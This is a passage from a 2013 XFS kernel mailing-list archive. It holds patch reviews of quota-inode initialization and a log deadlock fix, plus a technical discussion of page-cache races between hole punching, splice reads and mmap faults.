Seetharaman wrote: > > > > > > > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > > > > does for the other internal inodes. This leads to check for two > > > > values (0 and NULLFSINO) to make sure if a quota inode is > > > > valid. > > > > > > > > Solve that problem by initializing the values to NULLFSINO > > > > if they are 0. > > > > > > > > Note that these values are not written back to on-disk > > > > superblock unless some quota is enabled on the filesystem. > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > --- > > > > fs/xfs/xfs_mount.c | 12 ++++++++++++ > > > > 1 files changed, 12 insertions(+), 0 deletions(-) > > > > > > > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > > > index 2b0ba35..8b95933 100644 > > > > --- a/fs/xfs/xfs_mount.c > > > > +++ b/fs/xfs/xfs_mount.c > > > > @@ -572,6 +572,18 @@ out_unwind: > > > > static void > > > > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > > > { > > > > + /* > > > > + * older mkfs doesn't initialize quota inodes to NULLFSINO, > > > > + * which leads to two values for a quota inode to be invalid: > > > > + * 0 and NULLFSINO. Fix it. > > > > + */ > > > > + if (sbp->sb_uquotino == 0) > > > > + sbp->sb_uquotino = NULLFSINO; > > > > + if (sbp->sb_gquotino == 0) > > > > + sbp->sb_gquotino = NULLFSINO; > > > > + if (sbp->sb_pquotino == 0) > > > > + sbp->sb_pquotino = NULLFSINO; > > > > > > There coment needs to point out that this is changing the in-memory > > > superblock value right here, so we don't need to make changing > > > sb_pquotino dependent on the superblock having support for this > > > feature. > > > > But, we are not just changing just for sb_pquotino, right ? > > Sure, but those other two fields are always present in the > superblock... > > > Since we are changing all the fields independent of superblock > > supporting sb_pquotino, I thought the comment should be generic. > > So why is it safe to modify this when sb_pquotino isn't valid in the > superblock (i.e. v4 superblock) and the only valid on-disk value for > an unused section of the superblock is zero? > > That's what the comment needs to explain. How about this: /* * older mkfs doesn't initialize quota inodes to NULLFSINO * This leads to in-core values having two different values * for a quota inode to be invalid: 0 and NULLFSINO. * Change it to a single value NULLFSINO. * * Note that this change affect only the in-core values. * These values are not written back to disk unless any * quota information is written to the disk. Even in that * case, sb_pquotino field is not written to disk unless * the superblock supports pquotino. */ > Cheers, > > Dave. From bpm@sgi.com Wed Jul 17 18:40:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 076737F3F for ; Wed, 17 Jul 2013 18:40:54 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id B56D8AC001; Wed, 17 Jul 2013 16:40:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 2D9804266DC; Wed, 17 Jul 2013 18:40:49 -0500 (CDT) Date: Wed, 17 Jul 2013 18:40:49 -0500 From: Ben Myers To: Linus Torvalds Cc: Dave Chinner , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130717234049.GC3572@sgi.com> References: <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Linus, On Wed, Jul 17, 2013 at 09:03:11AM -0700, Linus Torvalds wrote: > On Tue, Jul 16, 2013 at 10:51 PM, Dave Chinner wrote: > > > > But When i say "stale data" I mean that the data being returned > > might not have originally belonged to the underlying file you are > > reading. > > We're still talking at cross purposes then. > > How the hell do you handle mmap() and page faulting? __xfs_get_blocks serializes access to the block map with the i_lock on the xfs_inode. This appears to be racy with respect to hole punching. > Because if you return *that* kind of stale data, than you're horribly > horribly buggy. And you cannot *possibly* blame > generic_file_splice_read() on that. Seems to me we'd need to hold the page lock on every page in the hole to provide exclusion with splice read and mmap faults, then remove the extents, and finally truncate the pages away. I think at that point the reads could be done without the iolock. Or, is there a different lock that could do the trick? Thanks, Ben From linus971@gmail.com Wed Jul 17 19:17:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F19B97F3F for ; Wed, 17 Jul 2013 19:17:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B45478F8039 for ; Wed, 17 Jul 2013 17:17:38 -0700 (PDT) X-ASG-Debug-ID: 1374106656-04bdf0245ef8ac0001-NocioJ Received: from mail-ve0-f178.google.com (mail-ve0-f178.google.com [209.85.128.178]) by cuda.sgi.com with ESMTP id JGtCnoXCs7B6vWvb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 17 Jul 2013 17:17:37 -0700 (PDT) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.178 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.178] Received: by mail-ve0-f178.google.com with SMTP id pb11so2043386veb.9 for ; Wed, 17 Jul 2013 17:17:36 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.178] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=pl4t2N5ID5xhwLOCMroVxJw+B1CISeBy/4Xzrb4dWcs=; b=xhPfX4BfnCWKfcoA4Sl7xWS+ifwI7N/OL0SP5Nao7TUKO8BDXr9xer75PCbaOrQ4qr sTUFY1ZuQWvVM6enTTz44RT9oAq68K7tHJSk7I3zsxr5kDilmK0qJyWxBUVgIaUZWInO 5GgSNwU+x2TCoBONA2aFPAAficAozGdRZB88OqcrjndNE3gzAquHVkVIEQVeNTfUv51z OUoYSPClH4OHKRzvfzPr4zJUdJjudDUitWQcopr0SxjoVW0WryrFb1yHij0xtKayfGde 83F07vMj0gWdgSzxO4KIvUhrUl//24IvcrMWwQt9Jjg/Jcu/DuWQr0z2XG3FIuwefpum zGdw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=pl4t2N5ID5xhwLOCMroVxJw+B1CISeBy/4Xzrb4dWcs=; b=OicBCBP4WZh7bjBiUC8J4BD0zVpyC78cJ4Y8G3p+r+Pg6JnM+1los0lp+pC2rGRZGI GGZqgGAuIlSI5DzE6ADYvss0n1keyTuLaey46XvPZX3L4CEhvv6ECTOTSP27fe/KPUIK jUxF25sXcXjVEVZCCJJYNTbnHhjbKzgzIH3Wc= MIME-Version: 1.0 X-Received: by 10.58.146.196 with SMTP id te4mr3036598veb.62.1374106656548; Wed, 17 Jul 2013 17:17:36 -0700 (PDT) Sender: linus971@gmail.com Received: by 10.220.237.15 with HTTP; Wed, 17 Jul 2013 17:17:36 -0700 (PDT) In-Reply-To: <20130717234049.GC3572@sgi.com> References: <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> <20130717234049.GC3572@sgi.com> Date: Wed, 17 Jul 2013 17:17:36 -0700 X-Google-Sender-Auth: p9oBxSd30hGIUrJdx_nicD_D4SM Message-ID: Subject: Re: splice vs execve lockdep trace. From: Linus Torvalds X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. To: Ben Myers Cc: Dave Chinner , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f178.google.com[209.85.128.178] X-Barracuda-Start-Time: 1374106657 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Jul 17, 2013 at 4:40 PM, Ben Myers wrote: >> >> We're still talking at cross purposes then. >> >> How the hell do you handle mmap() and page faulting? > > __xfs_get_blocks serializes access to the block map with the i_lock on the > xfs_inode. This appears to be racy with respect to hole punching. Would it be possible to just make __xfs_get_blocks get the i_iolock (non-exclusively)? Or, alternatively, do it in the readpage() function? That was what I thought you did anyway. Exactly because of the whole page faulting issue. Linus From david@fromorbit.com Wed Jul 17 21:25:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DBFEF7F3F for ; Wed, 17 Jul 2013 21:25:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C95368F8039 for ; Wed, 17 Jul 2013 19:25:01 -0700 (PDT) X-ASG-Debug-ID: 1374114295-04cb6c2a46e52c50001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Ysyd5ESAIHtBy6YS for ; Wed, 17 Jul 2013 19:24:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ai8NAJFP51F5LK4r/2dsb2JhbABagwaDIbhthTAEAYESF3SCIwEBBAEnExwjEAgDDgoJJQ8FJQMhExuHbwW2SxaOPAuBHQeDewOXW4ojhyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Jul 2013 11:54:54 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzdtj-0000kb-D6; Thu, 18 Jul 2013 12:24:51 +1000 Date: Thu, 18 Jul 2013 12:24:51 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Message-ID: <20130718022451.GM11674@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path References: <1373928754.20769.41.camel@chandra-dt.ibm.com> <20130716005455.GC3920@dastard> <1374096775.8941.3.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374096775.8941.3.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374114296 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137079 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 04:32:55PM -0500, Chandra Seetharaman wrote: > On Tue, 2013-07-16 at 10:54 +1000, Dave Chinner wrote: > > On Mon, Jul 15, 2013 at 05:52:34PM -0500, Chandra Seetharaman wrote: > > > While testing and rearranging my pquota/gquota code, I stumbled > > > on a xfs_shutdown() during a mount. But the mount just hung. > > > > > > I debugged and found that there is a deadlock involving > > > &log->l_cilp->xc_ctx_lock. > > > > > > It is in a code path where &log->l_cilp->xc_ctx_lock is first > > > acquired in read mode and some levels down the same semaphore > > > is being acquired in write mode causing a deadlock. > > > > > > This is the stack: > > > xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode > > > xlog_print_tic_res > > > xfs_force_shutdown > > > xfs_log_force_umount > > > xlog_cil_force > > > xlog_cil_force_lsn > > > xlog_cil_push_foreground > > > xlog_cil_push - tries to acquire same semaphore in write mode > > > > > > This patch fixes the deadlock by not calling xfs_force_shutdown() while > > > holding the semaphore, instead calling it after dropping teh semaphore. > > > > > > Thanks to Dave for suggesting this solution. > > > > > > Signed-off-by: Chandra Seetharaman > > > > > > --- > > > fs/xfs/xfs_log.c | 6 +++--- > > > fs/xfs/xfs_log_cil.c | 10 ++++++---- > > > fs/xfs/xfs_log_priv.h | 2 +- > > > fs/xfs/xfs_trans.c | 2 +- > > > 4 files changed, 11 insertions(+), 9 deletions(-) > > > > > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > > > index d852a2b..b9fa2da 100644 > > > --- a/fs/xfs/xfs_log.c > > > +++ b/fs/xfs/xfs_log.c > > > @@ -1837,7 +1837,7 @@ xlog_state_finish_copy( > > > * print out info relating to regions written which consume > > > * the reservation > > > */ > > > -void > > > +int > > > xlog_print_tic_res( > > > struct xfs_mount *mp, > > > struct xlog_ticket *ticket) > > > @@ -1941,7 +1941,7 @@ xlog_print_tic_res( > > > > > > xfs_alert_tag(mp, XFS_PTAG_LOGRES, > > > "xlog_write: reservation ran out. Need to up reservation"); > > > - xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); > > > + return EFSCORRUPTED; > > > > Note the "SHUTDOWN_CORRUPT_INCORE" reason given here.... > > > > > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > > > index 35a2299..d96022f 100644 > > > --- a/fs/xfs/xfs_trans.c > > > +++ b/fs/xfs/xfs_trans.c > > > @@ -1547,7 +1547,7 @@ xfs_trans_commit( > > > xfs_trans_apply_dquot_deltas(tp); > > > > > > error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); > > > - if (error == ENOMEM) { > > > + if (error) { > > > xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); > > > > Which is different to the reason given here. The shutdown reason > > should be maintained for this particular error.... > > I see. What I mean is that the code in xfs_trans_commit() should do something like: if (error) { int reason = SHUTDOWN_LOG_IO_ERROR; if (error == EFSCORRUPTED) reason = SHUTDOWN_CORRUPT_INCORE; xfs_force_shutdown(mp, reason); .... } > > Is it ok if the error reason is not propagated to the xlog_write() code > path ? No - if we get a transaction overflow, we need to trigger a shutdown. That means the error needs to be caught by the xlog_write() path an the filesystem shut down. Looking at it more deeply, you could probably just change the shutdown in xlog_print_tic_res() to use SHUTDOWN_LOG_IO_ERROR and the problem is solved as the shutdown won't try to force the log. i.e. this whole problem will go away with that one line fix... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 17 22:18:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F223C7F3F for ; Wed, 17 Jul 2013 22:18:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8DEF8AC005 for ; Wed, 17 Jul 2013 20:18:02 -0700 (PDT) X-ASG-Debug-ID: 1374117480-04bdf0245b104aa0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id CqRnPJVIVLha8ySH for ; Wed, 17 Jul 2013 20:18:01 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjsPABhd51F5LK4r/2dsb2JhbABagwa8D4UvBAGBEhd0giMBAQQBOhwjBQsIAxIGCSUPBSUDDRQTG4dvBbZmFo5HgR0Hg3sDl1uRToMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Jul 2013 12:48:00 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzej9-0000ro-69; Thu, 18 Jul 2013 13:17:59 +1000 Date: Thu, 18 Jul 2013 13:17:59 +1000 From: Dave Chinner To: Linus Torvalds Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130718031759.GN11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374117480 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137081 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 09:03:11AM -0700, Linus Torvalds wrote: > On Tue, Jul 16, 2013 at 10:51 PM, Dave Chinner wrote: > > > > But When i say "stale data" I mean that the data being returned > > might not have originally belonged to the underlying file you are > > reading. > > We're still talking at cross purposes then. > > How the hell do you handle mmap() and page faulting? We cross our fingers and hope. Always have. Races are rare as historically there have been only a handful of applications that do the necessary operations to trigger them. However, with holepunch now a generic fallocate() operation.... > Because if you return *that* kind of stale data, than you're horribly > horribly buggy. And you cannot *possibly* blame > generic_file_splice_read() on that. Right, it's horribly buggy and I'm not blaming generic_file_splice_read(). I'm saying that the page cache architecture does not providing mechanisms to avoid the problem. i.e. that we can't synchronise multi-page operations against a single page operation that only uses the page lock for serialisation without some form of filesystem specific locking. And that the i_mutex/i_iolock/mmap_sem inversion problems essentially prevent us from beign able to fix it in a filesystem specific manner. We've hacked around this read vs invalidation race condition for truncate() by putting ordered operations in place to avoid refaulting after invalidation by read operations. i.e. truncate was optimised to avoid extra locking, but now the realisation is that truncate is just a degenerate case of hole punching and that hole punching cannot make use of the same "beyond EOF" optimisations to avoid race conditions with other IO. We (XFS developers) have known about this for years, but we've always been told when it's been raised that it's "just a wacky XFS problem". Now that other filesystems are actually implementing the same functionality that XFS has had since day zero, they are also seeing the same architectural deficiencies in the generic code. i.e. they are not actually "whacky XFS problems". That's why we were talking about a range-locking solution to this problem at LSF/MM this year - to find a generic solution to the issue... FWIW, this problem is not just associated with splice reads - it's a problem for the direct IO code, too. The direct IO layer has lots of hacky invalidation code that tries to work around the fact that mmap() page faults cannot be synchronised against direct IO in progress. Hence it invalidates caches before and after direct IO is done in the hope that we don't have a page fault that races and leaves us with out-of-date data being exposed to userspace via mmap. Indeed, we have a regression test that demonstrates how this often fails - xfstests:generic/263 uses fsx with direct IO and mmap on the same file and will fail with data corruption on XFS. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 17 22:42:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8922A7F3F for ; Wed, 17 Jul 2013 22:42:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 685708F8039 for ; Wed, 17 Jul 2013 20:42:31 -0700 (PDT) X-ASG-Debug-ID: 1374118949-04cb6c2a42e582f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id D9cztvvPGqrGjGN2 for ; Wed, 17 Jul 2013 20:42:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoPABpj51F5LK4r/2dsb2JhbABagwa8DoUvBAGBDhd0giMBAQQBOhwjBQsIAxgJJQ8FJQMhE4gKBbZrFo5HgR0Hg3sDl1uRToMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Jul 2013 13:12:06 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzf6R-0000tb-L0; Thu, 18 Jul 2013 13:42:03 +1000 Date: Thu, 18 Jul 2013 13:42:03 +1000 From: Dave Chinner To: Linus Torvalds Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130718034203.GO11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716193332.GB3572@sgi.com> <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> <20130717234049.GC3572@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374118949 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137083 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 05:17:36PM -0700, Linus Torvalds wrote: > On Wed, Jul 17, 2013 at 4:40 PM, Ben Myers wrote: > >> > >> We're still talking at cross purposes then. > >> > >> How the hell do you handle mmap() and page faulting? > > > > __xfs_get_blocks serializes access to the block map with the i_lock on the > > xfs_inode. This appears to be racy with respect to hole punching. > > Would it be possible to just make __xfs_get_blocks get the i_iolock > (non-exclusively)? No. __xfs_get_blocks() operates on metadata (e.g. extent lists), and as such is protected by the i_ilock (note: not the i_iolock). i.e. XFS has a multi-level locking strategy: i_iolock is provided for *data IO serialisation*, i_ilock is for *inode metadata serialisation*. Truncate and hole punching require IO level serialisation rather than metadata or page cache level serialisation as they have to be safe against direct IO as well as page cache based IO. > Or, alternatively, do it in the readpage() function? > > That was what I thought you did anyway. Exactly because of the whole > page faulting issue. We protect the inode itself with the i_ilock in the page fault path, but we have no IO level serialisation. Racing faults serialise access to inode metadata via on the i_ilock, but this doesn't serialise against IO in progress.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 17 22:43:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3B1737F3F for ; Wed, 17 Jul 2013 22:43:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2866A8F8049 for ; Wed, 17 Jul 2013 20:43:25 -0700 (PDT) X-ASG-Debug-ID: 1374119003-04cb6c2a46e58430001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id B9wG1Gf4PWcrckU0 for ; Wed, 17 Jul 2013 20:43:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoPABpj51F5LK4r/2dsb2JhbABagwa8DoUvBAGBDhd0giMBAQUnExwjEAgDDgoJJQ8FJQMhE4gPtmsWjjQTgR0Hg3sDl1uRToMkKoEt Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Jul 2013 13:13:22 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzf7h-0000u4-3n; Thu, 18 Jul 2013 13:43:21 +1000 Date: Thu, 18 Jul 2013 13:43:21 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Message-ID: <20130718034321.GP11674@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO References: <1373593665.20769.10.camel@chandra-dt.ibm.com> <20130713021349.GH3438@dastard> <1373928885.20769.42.camel@chandra-dt.ibm.com> <20130716002352.GA3920@dastard> <1374097330.8941.12.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374097330.8941.12.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374119003 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137083 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 17, 2013 at 04:42:10PM -0500, Chandra Seetharaman wrote: > On Tue, 2013-07-16 at 10:23 +1000, Dave Chinner wrote: > > On Mon, Jul 15, 2013 at 05:54:45PM -0500, Chandra Seetharaman wrote: > > > On Sat, 2013-07-13 at 12:13 +1000, Dave Chinner wrote: > > > > On Thu, Jul 11, 2013 at 08:47:45PM -0500, Chandra Seetharaman wrote: > > > > > > > > > > mkfs doesn't initialize the quota inodes to NULLFSINO as it > > > > > does for the other internal inodes. This leads to check for two > > > > > values (0 and NULLFSINO) to make sure if a quota inode is > > > > > valid. > > > > > > > > > > Solve that problem by initializing the values to NULLFSINO > > > > > if they are 0. > > > > > > > > > > Note that these values are not written back to on-disk > > > > > superblock unless some quota is enabled on the filesystem. > > > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > > --- > > > > > fs/xfs/xfs_mount.c | 12 ++++++++++++ > > > > > 1 files changed, 12 insertions(+), 0 deletions(-) > > > > > > > > > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > > > > index 2b0ba35..8b95933 100644 > > > > > --- a/fs/xfs/xfs_mount.c > > > > > +++ b/fs/xfs/xfs_mount.c > > > > > @@ -572,6 +572,18 @@ out_unwind: > > > > > static void > > > > > xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > > > > { > > > > > + /* > > > > > + * older mkfs doesn't initialize quota inodes to NULLFSINO, > > > > > + * 